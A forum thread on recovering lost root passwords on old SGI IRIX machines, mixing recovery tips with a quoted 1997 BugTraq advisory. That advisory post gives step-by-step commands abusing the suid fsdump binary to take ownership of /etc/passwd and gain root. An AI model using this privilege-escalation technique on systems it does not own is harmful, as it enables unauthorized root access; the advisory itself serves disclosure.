Loss of Root password

[stevea]

I inherited an IRIX 5.3 system and do not have the root password. How can I backdoor into it to change it?

 

[Guest_imported]

At the startup, select &quot;system maintenance&quot;<br>select install new software<br>select method (mostly CDrom)<br>wait untill the installation tools are loaded<br>go to the admin options<br>select &quot;start chrootedshell&quot; (or something similiar)<br>In the shell type passwd<br>fill in a new password, confirm it.<br><br>Root password is changed.<br><br>

 

[Dateq]

hehehe.. That won't work you know...

The trouble with 5.3 (I gather you're running an Indigo)
is that it doesn't have a password jumper on the mainboard (like Indy does).

Once your password is lost, you are too.. At least that's what I was told

 

[NewStudentOfTech]

So Stevea,

Did it work? Which method did you use? I actually have an Indy and forgot my password.

Was Sim3 saying to reload the system software?

Please reply to me w/any help.

 

[intuity]

Here's an article from BugTraQ regarding Irix 5.3 and it's huge (imho) holes in fsdump. Keep in mind this requires you to have a regular (non-uid0) account that you can access.

Ok. Well, yet another IRIX 5.3 root exploit.
Of course, the major problem here is that IRIX allow users to
give away ownership of files. Without that, this could only
be used for changing the permissions on file so that you could read
and modify.

The system (an Indy):
IRIX irix 5.3 11091812 IP22 mips

irix% ls -la /var/rfindd/fsdump
---s--x--x 1 root sys 62032 Jul 25 1995 /var/rfindd/fsdump

What tipped me off that it was exploitable was the fact that it
was a protected suid binary (---s--x--x). I thought: if someone at
SGI is being careful to not let non-root users read the binary,
then it *must* be packed with holes...

So, I'm just a normal user today...

irix% id
uid=1799(csh) gid=500(users)

irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
(count to three, and hit ctrl-c)

irix% ls -la /etc/passwd
-rw-r--r-- 1 csh users 956 Feb 25 06:23 /etc/passwd

And now I've got root access...

irix% tail -8 /etc/passwd
nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:-2:-2riginal nobody uid:/dev/null:/dev/null

Tue Feb 25 06:23:48 PST 1997
Number of inodes total 208740; allocated 31259
Collecting garbage.
interrupted

All you have to do is edit off the garbage from the passwd file,
delete the encrypted root password and reset the perms on the passwd file.

irix% vi /etc/passwd # remove the encrypted root password
irix% chgrp sys /etc/passwd
irix% chown root /etc/passwd
irix% su -
irix#


That's it.
(Heck, you don't even have to remove the garbage from the passwd file.)

This can be used to access pretty much any file on the system
which is currently group owned...

fun, fun, fun until SGI takes the bugs away... ;-) (right)

 

[JoeGill]

Intuity is a true scholar. Thanks, I am so happpyyy to have root control again ...



har har har

 

[Guest_imported]

Intuity - quality work!!!!

 

[nosnam]

i am trying to install irix on a sgi indy and it is asking me for a password at the maintenance screen when i press any of the buttons, is there any way around that?


nosnam

 

[dummy2]

I have a similar problem, IRIX6.5.7 Have machine in front of me and account but lost root password. Do I have to reinstall operating system to regain control?